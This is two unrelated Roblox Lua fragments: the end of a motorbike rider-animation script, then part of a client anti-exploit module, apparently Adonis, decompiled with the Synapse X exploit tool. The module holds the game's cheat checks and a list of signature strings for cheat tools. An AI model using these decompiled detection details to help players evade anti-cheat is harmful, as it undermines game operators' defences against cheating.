bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle = bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.1)+(-(R6TorsoTuckIn-math.min(math.abs(Lean),R6TorsoTuckIn))*script.Parent.Values.Throttle.Value)*.1
bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+(-(R6RightArmTuckIn-math.min(math.abs(Lean),R6RightArmTuckIn))*script.Parent.Values.Throttle.Value)*.1
bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.1)+(-(R6LeftArmTuckIn-math.min(math.abs(Lean),R6LeftArmTuckIn))*script.Parent.Values.Throttle.Value)*.1
else
bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle = bike.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.15)+-0*.15
bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.15)+-0*.15
bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = bike.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.15)+-0*.15
end
else --r15
if math.abs(Lean) < R15HeadZ then
bike.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = -math.abs(Lean)
else
bike.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = -R15HeadZ
end
if Lean < R15HeadX and Lean > -R15HeadX then
bike.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = -Lean
elseif Lean > R15HeadX then
bike.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = -R15HeadX
elseif Lean < -R15HeadX then
bike.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = R15HeadX
end
if script.Parent.Values.SteerT.Value > 0.01 then
bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R15HeadYStart), -R15HeadYFinish)*.1
elseif script.Parent.Values.SteerT.Value < -0.01 then
bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(bike.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R15HeadYStart), R15HeadYFinish)*.1
else
bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = bike.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+0*.1
end
if bike.DriveSeat.Velocity.magnitude < TuckInSpeed and bike.DriveSeat.Velocity.magnitude > 5 then
--upright
bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1
ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+-0*.1
XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+-0*.1
YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+-0*.1
R15RightKneePointZero = R15RightKneePointZero*(1-.1)+-0*.1
ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+-0*.1
YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+-0*.1
XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+-0*.1
R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+-0*.1
ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+-0*.1
XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+-0*.1
YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+-0*.1
R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+-0*.1
ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+-0*.1
YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+-0*.1
XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+-0*.1
R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+-0*.1
ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+-0*.1
XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+-0*.1
YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+-0*.1
ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+-0*.1
elseif bike.DriveSeat.Velocity.magnitude >= TuckInSpeed and bike.DriveSeat.Velocity.magnitude>5 then
--tuck in
bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1
ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+-(ZR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+-(XR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+-(YR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1
R15RightKneePointZero = R15RightKneePointZero*(1-.1)+-(R15RightKneeTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+-(ZR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+-(YR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+-(XR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1
R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+-(R15RightElbowTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+-(ZR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+-(XR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+-(YR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1
R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+-(R15LeftKneeTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+-(ZR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+-(YR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+-(XR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1
R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+-(R15LeftElbowTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+-(ZR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+-(XR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+-(YR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+-(ZR15UpperTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
else
--idle
bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.18)+-1*.18
ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+-0.6*.1
XR15RightLegPointZero = XR15RightLegPointZero*(1-.18)+.8*.18
YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+-0.4*.1
R15RightKneePointZero = R15RightKneePointZero*(1-.18)+1.8*.18
ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+-0.25*.1
YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+-0.3*.1
XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+0.12*.1
R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+-0.25*.1
ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+.05*.1
XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+-0.15*.1
YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+-0.5*.1
R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+-.5*.1
ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+-0*.1
YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+-0.4*.1
XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+-0.05*.1
R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+-0.1*.1
ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)-0*.1
XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+.25*.1
YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+-0.15*.1
ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+-0*.1
end
if Lean > 0 then
--right lean
bike.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegRightLean*math.abs(Lean))/-ZR15RightLegRightLeanD)*ZR15RightLegRightLeanM
bike.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegRightLean*math.abs(Lean))/-XR15RightLegRightLeanD)*XR15RightLegRightLeanM
bike.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegRightLean*math.abs(Lean))/-YR15RightLegRightLeanD)*YR15RightLegRightLeanM
bike.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeRightLean*math.abs(Lean))/-R15RightKneeRightLeanD)*R15RightKneeRightLeanM
bike.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmRightLean*math.abs(Lean))/-ZR15RightArmRightLeanD)*ZR15RightArmRightLeanM
bike.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmRightLean*math.abs(Lean))/-XR15RightArmRightLeanD)*XR15RightArmRightLeanM
bike.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmRightLean*math.abs(Lean))/-YR15RightArmRightLeanD)*YR15RightArmRightLeanM
bike.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowRightLean*math.abs(Lean))/-R15RightElbowRightLeanD)*R15RightElbowRightLeanM
bike.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegRightLean*math.abs(Lean))/-ZR15LeftLegRightLeanD)*ZR15LeftLegRightLeanM
bike.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegRightLean*math.abs(Lean))/-XR15LeftLegRightLeanD)*XR15LeftLegRightLeanM
bike.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegRightLean*math.abs(Lean))/-YR15LeftLegRightLeanD)*YR15LeftLegRightLeanM
bike.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeRightLean*math.abs(Lean))/-R15LeftKneeRightLeanD)*R15LeftKneeRightLeanM
bike.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmRightLean*math.abs(Lean))/-ZR15LeftArmRightLeanD)*ZR15LeftArmRightLeanM
bike.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmRightLean*math.abs(Lean))/-XR15LeftArmRightLeanD)*XR15LeftArmRightLeanM
bike.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmRightLean*math.abs(Lean))/-YR15LeftArmRightLeanD)*YR15LeftArmRightLeanM
bike.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowRightLean*math.abs(Lean))/-R15LeftElbowRightLeanD)*R15LeftElbowRightLeanM
bike.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoRightLean*math.abs(Lean))/-ZR15LowerTorsoRightLeanD)*ZR15LowerTorsoRightLeanM
bike.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoRightLean*math.abs(Lean))/-XR15LowerTorsoRightLeanD)*XR15LowerTorsoRightLeanM
bike.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoRightLean*math.abs(Lean))/-YR15LowerTorsoRightLeanD)*YR15LowerTorsoRightLeanM
bike.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoRightLean*math.abs(Lean))/-ZR15UpperTorsoRightLeanD)*ZR15UpperTorsoRightLeanM
else
--left lean
bike.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegLeftLean*math.abs(Lean))/-ZR15RightLegLeftLeanD)*ZR15RightLegLeftLeanM
bike.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegLeftLean*math.abs(Lean))/-XR15RightLegLeftLeanD)*XR15RightLegLeftLeanM
bike.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegLeftLean*math.abs(Lean))/-YR15RightLegLeftLeanD)*YR15RightLegLeftLeanM
bike.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeLeftLean*math.abs(Lean))/-R15RightKneeLeftLeanD)*R15RightKneeLeftLeanM
bike.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmLeftLean*math.abs(Lean))/-ZR15RightArmLeftLeanD)*ZR15RightArmLeftLeanM
bike.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmLeftLean*math.abs(Lean))/-XR15RightArmLeftLeanD)*XR15RightArmLeftLeanM
bike.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmLeftLean*math.abs(Lean))/-YR15RightArmLeftLeanD)*YR15RightArmLeftLeanM
bike.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowLeftLean*math.abs(Lean))/-R15RightElbowLeftLeanD)*R15RightElbowLeftLeanM
bike.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegLeftLean*math.abs(Lean))/-ZR15LeftLegLeftLeanD)*ZR15LeftLegLeftLeanM
bike.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegLeftLean*math.abs(Lean))/-XR15LeftLegLeftLeanD)*XR15LeftLegLeftLeanM
bike.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegLeftLean*math.abs(Lean))/-YR15LeftLegLeftLeanD)*YR15LeftLegLeftLeanM
bike.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeLeftLean*math.abs(Lean))/-R15LeftKneeLeftLeanD)*R15LeftKneeLeftLeanM
bike.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmLeftLean*math.abs(Lean))/-ZR15LeftArmLeftLeanD)*ZR15LeftArmLeftLeanM
bike.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmLeftLean*math.abs(Lean))/-XR15LeftArmLeftLeanD)*XR15LeftArmLeftLeanM
bike.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmLeftLean*math.abs(Lean))/-YR15LeftArmLeftLeanD)*YR15LeftArmLeftLeanM
bike.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowLeftLean*math.abs(Lean))/-R15LeftElbowLeftLeanD)*R15LeftElbowLeftLeanM
bike.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoLeftLean*math.abs(Lean))/-ZR15LowerTorsoLeftLeanD)*ZR15LowerTorsoLeftLeanM
bike.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoLeftLean*math.abs(Lean))/-XR15LowerTorsoLeftLeanD)*XR15LowerTorsoLeftLeanM
bike.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoLeftLean*math.abs(Lean))/-YR15LowerTorsoLeftLeanD)*YR15LowerTorsoLeftLeanM
bike.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoLeftLean*math.abs(Lean))/-ZR15UpperTorsoLeftLeanD)*ZR15UpperTorsoLeftLeanM
end
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
GetEnv = nil;
origEnv = nil;
logError = nil;
return function()
local u1 = nil;
local u2 = nil;
local u3 = nil;
local u4 = nil;
local l__LocalPlayer__1 = service.Players.LocalPlayer;
getfenv().client = nil;
getfenv().service = nil;
getfenv().script = nil;
local l__NetworkClient__5 = service.NetworkClient;
local l__pcall__6 = pcall;
local l__Send__7 = client.Remote.Send;
local l__wait__8 = wait;
local l__service__9 = service;
local l__Disconnect__10 = client.Disconnect;
local l__Kill__11 = client.Kill;
local l__tostring__12 = tostring;
local l__getfenv__13 = getfenv;
local u14 = tostring(getfenv);
local l__type__15 = type;
local v2 = {};
local l__workspace__16 = workspace;
local l__tonumber__17 = tonumber;
local function u18(p1, p2)
if l__NetworkClient__5 then
l__pcall__6(l__Send__7, "Detected", p1, p2);
l__wait__8(0.5);
if p1 == "kick" then
if not l__service__9.RunService:IsStudio() then
l__Disconnect__10(p2);
return;
end;
elseif p1 == "crash" then
l__Kill__11(p2);
end;
end;
end;
function v2.Speed(p3)
l__service__9.StartLoop("AntiSpeed", 1, function()
if l__tonumber__17(p3.Speed) < l__workspace__16:GetRealPhysicsFPS() then
u18("kill", "Speed exploiting");
end;
end);
end;
local l__pairs__19 = pairs;
local l__print__20 = print;
function v2.LockLighting(p4)
local u21 = false;
local u22 = {
Ambient = l__service__9.Lighting.Ambient,
Brightness = l__service__9.Lighting.Brightness,
ColorShift_Bottom = l__service__9.Lighting.ColorShift_Bottom,
ColorShift_Top = l__service__9.Lighting.ColorShift_Top,
GlobalShadows = l__service__9.Lighting.GlobalShadows,
OutdoorAmbient = l__service__9.Lighting.OutdoorAmbient,
Outlines = l__service__9.Lighting.Outlines,
ShadowColor = l__service__9.Lighting.ShadowColor,
GeographicLatitude = l__service__9.Lighting.GeographicLatitude,
Name = l__service__9.Lighting.Name,
TimeOfDay = l__service__9.Lighting.TimeOfDay,
FogColor = l__service__9.Lighting.FogColor,
FogEnd = l__service__9.Lighting.FogEnd,
FogStart = l__service__9.Lighting.FogStart
};
Routine(function()
while true do
if not u21 then
for v3, v4 in l__pairs__19(u22) do
if l__service__9.Lighting[v3] ~= nil then
u22[v3] = l__service__9.Lighting[v3];
end;
end;
end;
l__wait__8(1);
end;
end);
u3.LightingChanged = false;
local u23 = false;
local function u24(p5)
if u3.LightingChanged then
return true;
end;
if l__service__9.Lighting[p5] == nil or u22[p5] == nil then
return;
end;
u23 = true;
l__service__9.Lighting[p5] = u22[p5];
u23 = false;
l__wait__8(0.01);
if p5 ~= u2.LastChanges.Lighting then
return false;
end;
u23 = true;
l__service__9.Lighting[p5] = l__service__9.Lighting[p5];
u23 = false;
return true;
end;
l__service__9.Lighting.Changed:connect(function(p6)
u21 = true;
if not u23 then
if u24(p6) then
l__print__20("SERVER CHANGED IT");
else
l__print__20("CLIENT CHANGED IT");
end;
end;
u21 = false;
end);
end;
local l__game__25 = game;
local l__rawequal__26 = rawequal;
local l__string__27 = string;
local l__Remote__28 = client.Remote;
function v2.ReplicationLogs()
local l__FilteringEnabled__29 = l__workspace__16.FilteringEnabled;
local function u30(p7, p8)
local u31 = nil;
l__pcall__6(function()
u31 = p7:GetFullName();
end);
if not u31 then
return true;
end;
local v5 = p7:GetFullName();
for v6, v7 in l__pairs__19({ l__service__9.InsertService, l__service__9.TweenService, l__service__9.GamepadService, l__service__9.Workspace.CurrentCamera, l__service__9.LocalContainer(), l__service__9.Player, l__service__9.Player.Character }) do
if v7 then
if l__rawequal__26(p7, v7) then
return true;
end;
if p7:IsDescendantOf(v7) then
return true;
end;
end;
end;
for v8, v9 in l__pairs__19({ "TouchTransmitter" }) do
if p7:IsA(v9) then
return true;
end;
end;
for v10, v11 in l__pairs__19((l__service__9.Players:GetPlayers())) do
if v11 then
if p7:IsDescendantOf(v11) then
return true;
end;
if v11.Character and p7:IsDescendantOf(v11.Character) then
return true;
end;
end;
end;
local v12 = p7;
local v13 = 1 - 1;
while v12 do
if p8 and v12:IsA(p8) then
if not l__string__27.find(v12.Name, "ADONIS") then
return true;
end;
if not v12:IsA("LocalScript") then
return true;
end;
end;
v12 = p7.Parent;
if 0 <= 1 then
if not (v13 < 50) then
return false;
end;
elseif not (v13 > 50) then
return false;
end;
v13 = v13 + 1;
end;
return false;
end;
l__game__25.DescendantAdded:Connect(function(p9)
if not l__FilteringEnabled__29 and not u30(p9) then
l__Remote__28.Fire("AddReplication", "Created", p9, {
obj = p9,
name = p9.Name,
class = p9.ClassName,
parent = p9.Parent,
path = p9:GetFullName()
});
end;
end);
l__game__25.DescendantRemoving:Connect(function(p10)
if not l__FilteringEnabled__29 and not u30(p10) then
local v14 = {
obj = p10,
name = p10.Name,
class = p10.ClassName,
parent = p10.Parent,
path = p10:GetFullName()
};
if p10 and p10.Parent then
local u32 = nil;
u32 = p10.Parent.ChildRemoved:connect(function(p11)
if l__rawequal__26(p10, p11) then
l__Remote__28.Fire("AddReplication", "Destroyed", p10, v14);
u32:disconnect();
end;
end);
l__wait__8(5);
if u32 then
u32:disconnect();
end;
return;
else
l__Remote__28.Fire("AddReplication", "Destroyed", p10, v14);
end;
end;
end);
end;
function v2.NameId(p12)
local l__RealName__33 = p12.RealName;
local l__RealID__34 = p12.RealID;
l__service__9.StartLoop("NameIDCheck", 10, function()
if l__service__9.Player.Name ~= l__RealName__33 then
u18("log", "Local username does not match server username");
end;
if l__service__9.Player.userId ~= l__RealID__34 then
u18("log", "Local userID does not match server userID");
end;
end);
end;
function v2.AntiGui(p13)
l__service__9.Player.DescendantAdded:connect(function(p14)
if p14:IsA("GuiMain") or p14:IsA("PlayerGui") and l__rawequal__26(p14.Parent, l__service__9.PlayerGui) and not u1.Get(p14) then
p14:Destroy();
u18("log", "Unknown GUI detected and destroyed");
end;
end);
end;
local l__client__35 = client;
local l__Enum__36 = Enum;
function v2.AntiTools(p15)
if l__service__9.Player:WaitForChild("Backpack", 120) then
local l__BTools__15 = p15.BTools;
local l__AllowedList__16 = p15.AllowedList;
local l__AntiTools__37 = p15.AntiTools;
local function v17(p16)
if (p16:IsA("Tool") or p16:IsA("HopperBin")) and not p16:FindFirstChild(u3.CodeName) then
if l__client__35.AntiBuildingTools and p16:IsA("HopperBin") and (not (not l__rawequal__26(p16.BinType, l__Enum__36.BinType.Grab)) or not (not l__rawequal__26(p16.BinType, l__Enum__36.BinType.Clone)) or not (not l__rawequal__26(p16.BinType, l__Enum__36.BinType.Hammer)) or l__rawequal__26(p16.BinType, l__Enum__36.BinType.GameTool)) then
p16.Active = false;
p16:Destroy();
u18("log", "Building tools detected");
end;
if l__AntiTools__37 then
local v18 = false;
for v19, v20 in l__pairs__19(l__client__35.AllowedToolsList) do
if p16.Name == v20 then
v18 = true;
end;
end;
if not v18 then
p16:Destroy();
u18("log", "Tool detected");
end;
end;
end;
end;
for v21, v22 in l__pairs__19(l__service__9.Player.Backpack:children()) do
v17(v22);
end;
l__service__9.Player.Backpack.ChildAdded:connect(v17);
end;
end;
function v2.HumanoidState(p17)
l__wait__8(1);
local l__Humanoid__23 = l__service__9.Player.Character:WaitForChild("Humanoid");
local u38 = true;
local u39 = nil;
u39 = l__Humanoid__23.StateChanged:connect(function(p18, p19)
if not u38 then
u39:disconnect();
end;
if l__rawequal__26(p19, l__Enum__36.HumanoidStateType.StrafingNoPhysics) and u38 then
u38 = false;
u18("kill", "Noclipping");
u39:disconnect();
end;
end);
while l__Humanoid__23 and l__Humanoid__23.Parent and l__Humanoid__23.Parent.Parent and u38 do
if not l__wait__8(0.1) then
break;
end;
if l__rawequal__26(l__Humanoid__23:GetState(), l__Enum__36.HumanoidStateType.StrafingNoPhysics) and u38 then
u38 = false;
u18("kill", "Noclipping");
end;
end;
end;
function v2.Paranoid(p20)
l__wait__8(1);
local l__Character__24 = l__service__9.Player.Character;
local l__Head__25 = l__Character__24:WaitForChild("Head");
local l__HumanoidRootPart__26 = l__Character__24:WaitForChild("HumanoidRootPart");
local l__Humanoid__27 = l__Character__24:WaitForChild("Humanoid");
while l__Head__25 and l__HumanoidRootPart__26 and l__rawequal__26(l__Head__25.Parent, l__Character__24) and l__rawequal__26(l__HumanoidRootPart__26.Parent, l__Character__24) do
if l__Character__24.Parent == nil then
break;
end;
if not (l__Humanoid__27.Health > 0) then
break;
end;
if not l__Humanoid__27 then
break;
end;
if not l__Humanoid__27.Parent then
break;
end;
if not l__wait__8(1) then
break;
end;
if (l__HumanoidRootPart__26.Position - l__Head__25.Position).magnitude > 10 and l__Humanoid__27 and l__Humanoid__27.Health > 0 then
u18("kill", "HumanoidRootPart too far from Torso (Paranoid?)");
end;
end;
end;
local l__select__40 = select;
local l__tick__41 = tick;
local l__next__42 = next;
local l__warn__43 = warn;
local l__loadstring__44 = loadstring;
local l__Instance__45 = Instance;
function v2.MainDetection(p21)
local v28 = l__tick__41();
local v29 = l__tick__41();
local u46 = { "current identity is 0", "gui made by kujo", "tetanus reloaded hooked" };
local u47 = {
["C:RC7\rc7.dat"] = true
};
local function u48(p22)
for v30, v31 in l__pairs__19(l__service__9.LogService:GetLogHistory()) do
if l__string__27.find(l__string__27.lower(v31.message), l__string__27.lower(p22)) then
return true;
end;
end;
end;
local u49 = {};
local u50 = l__select__40(2, l__pcall__6(l__service__9.RunService.IsStudio, l__service__9.RunService));
local l__FindService__51 = l__service__9.DataModel.FindService;
